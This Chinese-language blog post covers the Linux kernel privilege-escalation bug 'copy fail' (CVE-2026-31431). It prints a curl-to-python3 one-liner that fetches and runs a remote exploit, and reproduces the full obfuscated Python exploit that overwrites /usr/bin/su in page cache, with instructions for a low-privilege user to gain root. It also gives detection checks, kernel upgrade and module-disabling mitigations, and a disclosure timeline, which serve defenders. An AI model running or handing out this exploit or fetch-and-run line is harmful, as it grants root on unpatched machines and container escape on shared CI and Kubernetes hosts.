Featured image of post copy fail CVE-2026-31431

copy fail CVE-2026-31431

Badge

一句话提权限,需要python 3.10 + 覆盖17年至今几乎所有的linux发行版。 这个漏洞的类型是提权漏洞,攻击者可以利用这个漏洞在受害者的计算机上获得管理员权限,从而执行任意代码或者访问敏感数据。(linux)

你可以参考他这个官网提供的一些内容: https://copy.fail/

exp

注意执行这个会修改你电脑上的东西,如果你在生产环境上千万不要随便执行 运行 EXP 会导致你的/usr/bin/su 文件一直处于被替换页缓存的状态,非常危险,任何调用 su 都会直接返回 root除非你重启或手动执行

echo 3 | sudo tee /proc/sys/vm/drop_caches
删掉缓存。

使用任何一个低权限账号执行下面的命令: 然后你就可以获得一个 root 的 shell 了

curl https://copy.fail/exp | python3 && su

以防代码消失了,我把 exp 的代码也放在下面了,使用方法一样的使用 python 来执行下面的代码就可以获取权限了

#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4

哪些人应该修补漏洞

alt text

提供 cicd 服务的、 提供在线 shell 功能的 、 K8S 集群的。(在这些服务中,用户可以直接执行命令,他们的默认角色可能是低权限的,但是它可以直接利用这个漏洞来获取 root 权限)
对于普通的服务来说,他需要先获取到 shell 权限,然后才能利用这个漏洞来提权,所以这个漏洞的攻击面相对来说是比较小的。

自查方法

版本识别: https://github.com/theori-io/copy-fail-CVE-2026-31431/issues

可以在这个列表里搜搜看看有没有你用的 linux 发行版,如果有的话就说明你可能受影响了, 不过这个也是别人测的可能也不全。

# 三个只读测试命令
lsmod | grep algif_aead 
(读取已经加载的库)
grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r) 
(查看内核在编译时是否开启了对该漏洞接口的支持。)
python3 -c "import socket; s=socket.socket(38, 5, 0); s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))')); print('Interface exists')" 
(接口可用性)

修复/缓解方法

  1. 根本解决:升级内核(首选方案) 这是最彻底的修复方式。你需要更新 Linux 发行版的内核,确保包含了主线提交 a664bf3d603d。 操作: 使用系统自带的包管理器(如 apt upgrade 或 dnf update)升级内核并重启。
# --- Ubuntu / Debian / Kali / Mint ---
sudo apt update && sudo apt full-upgrade -y && sudo reboot

# --- CentOS 8+ / RHEL / Fedora / AlmaLinux / Rocky Linux ---
sudo dnf update -y && sudo reboot

# --- Arch Linux / Manjaro ---
sudo pacman -Syu --noconfirm && reboot

# --- 验证命令 (重启后执行) ---
uname -rs  # 查看内核版本是否已更新
  1. 临时缓解:禁用受影响的内核模块 如果你暂时无法重启系统或升级内核,可以通过禁用 algif_aead 模块来阻止攻击路径。

执行命令:

# 阻止模块自动加载
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
# 尝试卸载当前已加载的模块
rmmod algif_aead 2>/dev/null || true
  1. 针对容器/沙盒环境的防护 如果你运行的是 Kubernetes、Docker 或 CI/CD 运行器(Runner),该漏洞极其危险,因为它能导致容器逃逸。

防御措施: 使用 seccomp 策略拦截 socket(AF_ALG, …) 系统的调用。

意义: 即使内核没补救,只要限制了容器创建这类套接字的能力,攻击脚本就无法运行。

其他东西

其实漏洞已经提交了一个月,等待官方发布了修复的 release 才公开出来.

2026-03-23
Reported to Linux kernel security team
2026-03-24
Initial acknowledgment
2026-03-25
Patches proposed and reviewed
2026-04-01
Patch committed to mainline
2026-04-22
CVE-2026-31431 assigned
2026-04-29
Public disclosure (https://copy.fail/)

而且据说这个漏洞还是用了 ai 审核帮忙发现的, 我觉得以后 可能这种漏洞的发现会越来越多。

“该漏洞源于 Linux 内核加密子系统中的逻辑错误。攻击者利用 splice() 系统调用,将本应只读的页面缓存(Page Cache)送入加密流程,导致内核在处理时意外地向该内存区域写入了 4 个可控字节。通过篡改内存中 /usr/bin/su 的逻辑,攻击者无需密码即可变身 Root。”

– 我觉得大部分人估计也看不懂。

EXP 部分提到了“被替换页缓存的状态”,这很好。可以补充一点:这种篡改是非持久化的。这意味着重启后文件会恢复原样。这既是优点(系统不会彻底坏掉),也是缺点(黑客入侵痕迹很难通过离线磁盘取证发现)。

– 所以这个漏洞对于黑客来说是非常友好的,取证非常困难

Licensed under CC BY-NC-SA 4.0
爱分享
使用 Hugo 构建
主题 StackJimmy 设计